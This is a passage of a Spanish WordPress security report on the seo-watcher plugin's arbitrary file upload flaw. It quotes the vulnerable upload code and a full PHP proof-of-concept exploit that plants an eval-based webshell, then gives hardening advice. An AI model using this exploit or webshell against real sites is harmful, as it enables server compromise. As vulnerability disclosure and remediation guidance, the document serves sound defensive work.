peticiones a los servidores de Google para descargarse el TOP 100 y extraer la

información que atañe a nuestra web.

Los archivos más importantes que aparecen en este plugin son wp-

seowatcher.php y ofc_upload_image.php.

*wp-seowatcher.php

Es el fichero clave del plugin. Pasamos a ver las funciones más importantes que

posee:

-seowatcher_setup():

Se encarga de generar la base de datos con las palabras que utilizará para hacer

las búsquedas de google. Además guarda en el array que maneja las opciones la

palabra, url, y servidor de google al que conectarse por defecto. El usuario después

podrá cambiarlas desde el panel de administración.

-seowatcher_update_keyword():

Es la función encargada de hacer la petición a Google, y de actualizar la

información que nos va proporcionando. Para obtener la información el plugin utiliza

en esta parte la función wp_remote_request() que nos proporciona el propio wordpress,

de tal forma que se realiza una petición HTTP normal.

Una vez que envía la petición, recoge la respuesta y le pasa su propio algoritmo

de parseo para extraer los resultados y guardarlos en la base de datos.

*ofc_upload_image.php

Es un archivo encargado de realizar la subida de imágenes. No filtra ningún

Page 23: Juan Manuel Fernández (The X-C3LL)

pág. 23 || www.wordpresaquantika14.com || [email protected]

tipo de extensión, ni comprueba si quien hace uso del PHP es el administrador. En

principio la “subida” en realidad como la realiza es creando un fichero y pasándole

como contenido lo que le es enviado vía POST:

$default_path = '../tmp-upload-images/';

if (!file_exists($default_path)) mkdir($default_path, 0777, true);

// full path to the saved image including filename //

$destination = $default_path . basename( $_GET[ 'name' ] );

echo 'Saving your image to: '. $destination;

// print_r( $_POST );

// print_r( $_SERVER );

// echo $HTTP_RAW_POST_DATA;

//

// POST data is usually string data, but we are passing a RAW .png

// so PHP is a bit confused and $_POST is empty. But it has saved

// the raw bits into $HTTP_RAW_POST_DATA

//

$jfh = fopen($destination, 'w') or die("can't open file");

fwrite($jfh, $HTTP_RAW_POST_DATA);

fclose($jfh);

Este plugin es vulnerable a Arbitrary File Upload, lo que permite a un atacante

poder subir una webshell y ejecutar comandos en el servidor. No existe un parámetro

en concreto que sea vulnerable, si no que todo el PHP está diseñado para subir

cualquier tipo de fichero.

El archivo queda guardado en /wp-content/plugins/seo-watcher/ofc/tmp-

upload-images/ con el mismo nombre que se le ha pasado como parámetro GET a

ofc_upload_image.php (parámetro name)

Para proceder a la explotación deberemos de enviar una petición POST con el

contenido de nuestra shell a ofc_upload_image.php. Lo forma más rápida es utilizar

curl, como ejemplo tenemos este PoC (extraído del reporte de la vulnerabilidad a

PacketStorm):

Page 24: Juan Manuel Fernández (The X-C3LL)

pág. 24 || www.wordpresaquantika14.com || [email protected]

<?php echo <<<EOT ----------------------------------- / seo-watcher ~ Exploit \ \ Author: wantexz / -----------------------------------

################################################################################################ # author: wantexz #

EOT; $options = getopt('u:f:'); if(!isset($options['u'], $options['f'])) die("\n Usage example: php IDC.php -u http://target.com/ -f shell.php\n -u http://target.com/ The full path to Joomla! -f shell.php The name of the file to create.\n");

$url = $options['u']; $file = $options['f'];

$shell = "{$url}/wp-content/plugins/seo-watcher/ofc/tmp-upload-images/{$file}"; $url = "{$url}/wp-content/plugins/seo-watcher/ofc/php-ofc-

library/ofc_upload_image.php?name={$file}";

$data = "<?php eval(\$_GET['cmd']); ?>"; $headers = array('User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20100101

Firefox/15.0.1', 'Content-Type: text/plain');

echo " [+] Submitting request to: {$options['u']}\n"; $handle = curl_init();

curl_setopt($handle, CURLOPT_URL, $url); curl_setopt($handle, CURLOPT_HTTPHEADER, $headers); curl_setopt($handle, CURLOPT_POSTFIELDS, $data); curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);

$source = curl_exec($handle); curl_close($handle);

if(!strpos($source, 'Undefined variable: HTTP_RAW_POST_DATA') && @fopen($shell, 'r')) { echo " [+] Exploit completed successfully!\n"; echo

" ______________________________________________\n\n {$shell}?cmd=system('id');\n"; } else { die(" [+] Exploit was unsuccessful.\n"); } ?>

Page 25: Juan Manuel Fernández (The X-C3LL)

pág. 25 || www.wordpresaquantika14.com || [email protected]

Al tratarse de un sistema de subidas para imágenes deberemos de cerciorarnos

que el archivo que se va a subir es realmente una imagen. Para ello podemos

implementar al mismo tiempo distintas comprobaciones, con el objetivo de dificultar a

un potencial atacante el bypassear alguna de estas. Los ideal sería generar una

whitelist de extensiones permitidas (gif, jpeg, png...) y denegar cualquier archivo que

no se ajuste a nuestro modelo. Para comprobar si se trata de una imagen real podemos

implementar todas estas medidas al mismo tiempo:

-Utilizar la función pathinfo()

-Comprobar el Content-type

-Utilizar la función getimagesize()

Además, pese a ver hecho las comprobaciones, para frenar un posible bypass

deberemos de renombrar el archivo que hemos subido y ponerle un nombre aleatorio y

la extensión que supuestamente tenía originalmente, de tal forma que si

supuestamente un usuario está intentando subir un archivo “jpeg”, por ejemplo, el

archivo final sea nombrealeatorio.JPEG También deberemos de asignarles unos

permisos adecuados como última precaución.

Si únicamente queremos que tengan acceso al sistema de subida de archivos

usuarios con un determinado rol en nuestra plataforma (administradores, por ejemplo)

podríamos usar un sistema de sesiones.

Wordpressa es un proyecto creado por la empresa Sevillana QuantiKa14. En un

principio consistía en crear un laboratorio de Wordpress que facilitará las prácticas de

técnicas de hacking y pentesting sobre este gestor de contenidos. Al cabo del tiempo, al

ver la gran demanda de auditorías de seguridad, quantika14 decide crear un equipo

especial dedicado al 100% en él. Este realizara documentos, investigaciones de

seguridad en plugins, plantillas y en el propio núcleo de Wordpress, aparte de las

pruebas de intrusión y fortificación.

Wordpressa es un proyecto ambicioso y especial. Qk14 es la única empresa a nivel

nacional que tenga un departamento especializado en este gestor de contenidos.

Todos los trabajos en QK14 están retribuidos. Solo tienes que mandar un

Correo con tu propuesta a [email protected] o [email protected]